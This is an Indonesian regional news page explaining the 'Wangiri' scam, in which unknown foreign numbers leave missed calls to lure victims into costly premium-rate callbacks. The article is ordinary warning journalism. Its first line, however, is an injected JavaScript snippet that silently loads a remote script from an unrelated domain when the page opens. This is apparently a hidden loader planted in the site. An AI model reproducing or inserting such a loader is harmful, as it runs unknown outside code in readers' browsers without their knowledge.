(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Beberapa hari belakangan ini sejumlah warganet di Tanah Air dibuat bingung oleh nomor luar negeri yang tak dikenal, dan melakukan panggilan tak terjawab atau missed call.
Tak tanggung-tanggung, nomor misterius tersebut melakukan lebih dari satu kali missed call dan dari negara yang berbeda-beda.
Mencari tau, warganet pun mem-posting kejadian tersebut ke media sosial, Twitter. Salah satu warganet yang mengaku mendapat panggilan dari nomor misterius tersebut adalah akun @ashfinzul. Dalam akun Twitter-nya, ia mengaku mendapatkan panggilan dari nomor +242 801130490 dan +242 801130442 yang ternyata berasal dari Kongo.
Laporan lain pun muncul dari akun @Dhenny_A. Dalam satu minggu terakhir, dua kali ia mendapat panggilan dari nomor luar negeri yang tak dikenal. Dua nomor asing tersebut berasal dari dua negara yang berbeda.
Jangan telepon balik
Kasus panggilan misterius dari luar negeri ini ternyata bukan yang pertama kali terjadi. Dilansir dari Techwelkin, Minggu (1/4/2018), hal tersebut merupakan trik penipuan berbasis telepon premium.
Scammer atau si penipu akan menyewa nomor premium internasional dari sebuah perusahaan. Kemudian pelaku akan melakukan panggilan secara acak dan langsung menutup panggilan tersebut agar berpikir Anda melewatkan sebuah panggilan penting. Jika korban menelepon balik, tagihan telepon akan membengkak. Tagihan inilah yang kemudian akan masuk ke kantong penipu tersebut. Maka jika Anda mengalami hal serupa, sebaiknya jangan lakukan panggilan balik agar tidak menjadi korban scam ini. Modus penipuan berkedok panggilan luar negeri ini bukan hanya terjadi di Indonesia. Sejumlah media asing memberitakan hal semacam ini pernah terjadi di beberapa Negara.
Trik penipuan yang dikenal dengan “Wangiri†yang dalam bahasa Jepang berarti “panggilan tak terjawab” ini sudah terjadi sejak awal tahun 2000-an.
Triknya, pelaku akan melakukan panggilan secara acak dan langsung menutup panggilan tanpa meninggalkan pesan. Dengan cara begini, korban yang tanpa sadar akan menelepon balik.
Pada saat itulah tagihan telepon korban akan membengkak. Tagihan ini yang kemudian masuk ke kantong pelaku penipuan tersebut. (tekno.kompas/liputan6/mujib)
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
This website uses cookies.